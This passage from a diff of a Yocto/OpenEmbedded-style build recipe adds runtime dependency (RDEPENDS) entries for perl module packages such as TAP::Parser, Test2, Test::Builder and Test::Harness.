+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-config"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-io-handle"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-io-select"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser += "perl-module-base"
+RDEPENDS:perl-module-tap-parser += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-grammar"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-iterator"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-result"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-resultfactory"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-source"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-executable"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-file"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-handle"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-perl"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-rawtap"
+RDEPENDS:perl-module-tap-parser += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-bailout"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-comment"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-plan"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-pragma"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-test"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-unknown"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-version"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-yaml"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler-job += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler-job += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-job"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-spinner"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler-spinner += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler-spinner += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iterator-process"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iterator-stream"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iterator-stream"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-tap-parser-iterator"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-config"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iterator-process"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-text-parsewords"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iterator-array"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-file-basename"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-warnings"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-exporter"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-strict"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-warnings"
+RDEPENDS:perl-module-term-cap += "perl-module-strict"
+RDEPENDS:perl-module-term-cap += "perl-module-vars"
+RDEPENDS:perl-module-term-complete += "perl-module-exporter"
+RDEPENDS:perl-module-term-complete += "perl-module-strict"
+RDEPENDS:perl-module-term-readline += "perl-module-strict"
+RDEPENDS:perl-module-term-readline += "perl-module-term-cap"
+RDEPENDS:perl-module-test2-api-breakage += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-breakage += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-breakage += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-context += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-util-externalmeta"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-context += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-test2-api-stack"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-list-util"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-storable"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-test2-api-interceptresult-facet"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-test2-api-interceptresult-hub"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult-facet += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult-facet += "perl-module-test2-eventfacet"
+RDEPENDS:perl-module-test2-api-interceptresult-facet += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult-hub += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult-hub += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-interceptresult-hub += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-storable"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-test2-api-interceptresult-event"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-test2-api-interceptresult-hub"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-test2-api-interceptresult-squasher"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult-squasher += "perl-module-list-util"
+RDEPENDS:perl-module-test2-api-interceptresult-squasher += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult-squasher += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-interceptresult-squasher += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api += "perl-module-strict"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-api-context"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-api-interceptresult"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-bail"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-diag"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-exception"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-note"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-ok"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-plan"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-skip"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-subtest"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-waiting"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-hub-interceptor"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-hub-interceptor-terminator"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-hub-subtest"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-util-trace"
+RDEPENDS:perl-module-test2-api += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-stack += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-stack += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-api-stack += "perl-module-test2-hub"
+RDEPENDS:perl-module-test2-api-stack += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-bail += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-bail += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-bail += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-diag += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-diag += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-diag += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-encoding += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-encoding += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-encoding += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-exception += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-exception += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-exception += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-about += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-about += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-about += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-amnesty += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-amnesty += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-amnesty += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-assert += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-assert += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-assert += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-control += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-control += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-control += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-error += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-error += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-error += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-hub += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-hub += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-hub += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-info += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-info += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-info += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-info-table += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-info-table += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-info-table += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-meta += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-meta += "perl-module-vars"
+RDEPENDS:perl-module-test2-eventfacet-meta += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-parent += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-parent += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-parent += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-plan += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-plan += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-plan += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-render += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-render += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-render += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-trace += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-trace += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-eventfacet-trace += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-trace += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-test2-event"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-test2-eventfacet-info"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-generic += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-generic += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-generic += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-note += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-note += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-note += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-ok += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-ok += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-ok += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-test2-event"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-test2-eventfacet-info"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event += "perl-module-strict"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-about"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-amnesty"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-assert"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-control"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-error"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-hub"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-info"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-meta"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-parent"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-plan"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-util-externalmeta"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-util-trace"
+RDEPENDS:perl-module-test2-event += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-plan += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-plan += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-plan += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-skip += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-skip += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-skip += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-subtest += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-subtest += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-subtest += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-tap-version += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-tap-version += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-tap-version += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-v2 += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-v2 += "perl-module-test2-util-facets2legacy"
+RDEPENDS:perl-module-test2-event-v2 += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-v2 += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-waiting += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-waiting += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-waiting += "perl-module-warnings"
+RDEPENDS:perl-module-test2-formatter += "perl-module-strict"
+RDEPENDS:perl-module-test2-formatter += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-formatter += "perl-module-warnings"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-data-dumper"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-strict"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-warnings"
+RDEPENDS:perl-module-test2-hub-interceptor += "perl-module-strict"
+RDEPENDS:perl-module-test2-hub-interceptor += "perl-module-test2-hub-interceptor-terminator"
+RDEPENDS:perl-module-test2-hub-interceptor += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-hub-interceptor += "perl-module-warnings"
+RDEPENDS:perl-module-test2-hub-interceptor-terminator += "perl-module-strict"
+RDEPENDS:perl-module-test2-hub-interceptor-terminator += "perl-module-warnings"
+RDEPENDS:perl-module-test2-hub += "perl-module-list-util"
+RDEPENDS:perl-module-test2-hub += "perl-module-strict"
+RDEPENDS:perl-module-test2-hub += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-hub += "perl-module-test2-util-externalmeta"
+RDEPENDS:perl-module-test2-hub += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-hub += "perl-module-warnings"
+RDEPENDS:perl-module-test2-hub-subtest += "perl-module-strict"
+RDEPENDS:perl-module-test2-hub-subtest += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-hub-subtest += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-hub-subtest += "perl-module-warnings"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-data-dumper"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-file-temp"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-json-pp"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-posix"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-storable"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-strict"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-test2-event-waiting"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-warnings"
+RDEPENDS:perl-module-test2-ipc-driver += "perl-module-strict"
+RDEPENDS:perl-module-test2-ipc-driver += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-ipc-driver += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-ipc-driver += "perl-module-warnings"
+RDEPENDS:perl-module-test2-ipc += "perl-module-strict"
+RDEPENDS:perl-module-test2-ipc += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-ipc += "perl-module-test2-api-instance"
+RDEPENDS:perl-module-test2-ipc += "perl-module-test2-ipc-driver-files"
+RDEPENDS:perl-module-test2-ipc += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-ipc += "perl-module-warnings"
+RDEPENDS:perl-module-test2 += "perl-module-strict"
+RDEPENDS:perl-module-test2 += "perl-module-warnings"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-data-dumper"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-strict"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-test2-hub-interceptor"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-test2-hub-interceptor-terminator"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util-externalmeta += "perl-module-strict"
+RDEPENDS:perl-module-test2-util-externalmeta += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util-facets2legacy += "perl-module-base"
+RDEPENDS:perl-module-test2-util-facets2legacy += "perl-module-strict"
+RDEPENDS:perl-module-test2-util-facets2legacy += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util-hashbase += "perl-module-strict"
+RDEPENDS:perl-module-test2-util-hashbase += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util += "perl-module-config"
+RDEPENDS:perl-module-test2-util += "perl-module-posix"
+RDEPENDS:perl-module-test2-util += "perl-module-strict"
+RDEPENDS:perl-module-test2-util += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util-trace += "perl-module-strict"
+RDEPENDS:perl-module-test2-util-trace += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-util-trace += "perl-module-warnings"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-warnings"
+RDEPENDS:perl-module-test-builder-module += "perl-module-exporter"
+RDEPENDS:perl-module-test-builder-module += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-module += "perl-module-test-builder"
+RDEPENDS:perl-module-test-builder += "perl-module-data-dumper"
+RDEPENDS:perl-module-test-builder += "perl-module-overload"
+RDEPENDS:perl-module-test-builder += "perl-module-strict"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-api"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-event-subtest"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-hub-subtest"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-ipc"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-ipc-driver-files"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-util"
+RDEPENDS:perl-module-test-builder += "perl-module-test-builder-formatter"
+RDEPENDS:perl-module-test-builder += "perl-module-test-builder-tododiag"
+RDEPENDS:perl-module-test-builder += "perl-module-warnings"
+RDEPENDS:perl-module-test-builder-tester-color += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tester-color += "perl-module-test-builder-tester"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-exporter"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-test-builder"
+RDEPENDS:perl-module-test-builder-tododiag += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tododiag += "perl-module-warnings"
+RDEPENDS:perl-module-test-harness += "perl-module-base"
+RDEPENDS:perl-module-test-harness += "perl-module-config"
+RDEPENDS:perl-module-test-harness += "perl-module-constant"
+RDEPENDS:perl-module-test-harness += "perl-module-strict"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-harness"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-aggregator"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-source"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-sourcehandler-perl"
+RDEPENDS:perl-module-test-harness += "perl-module-text-parsewords"
+RDEPENDS:perl-module-test-harness += "perl-module-warnings"
+RDEPENDS:perl-module-test-more += "perl-module-strict"
+RDEPENDS:perl-module-test-more += "perl-module-test-builder-module"
+RDEPENDS:perl-module-test-more += "perl-module-warnings"
+RDEPENDS:perl-module-test += "perl-module-exporter"
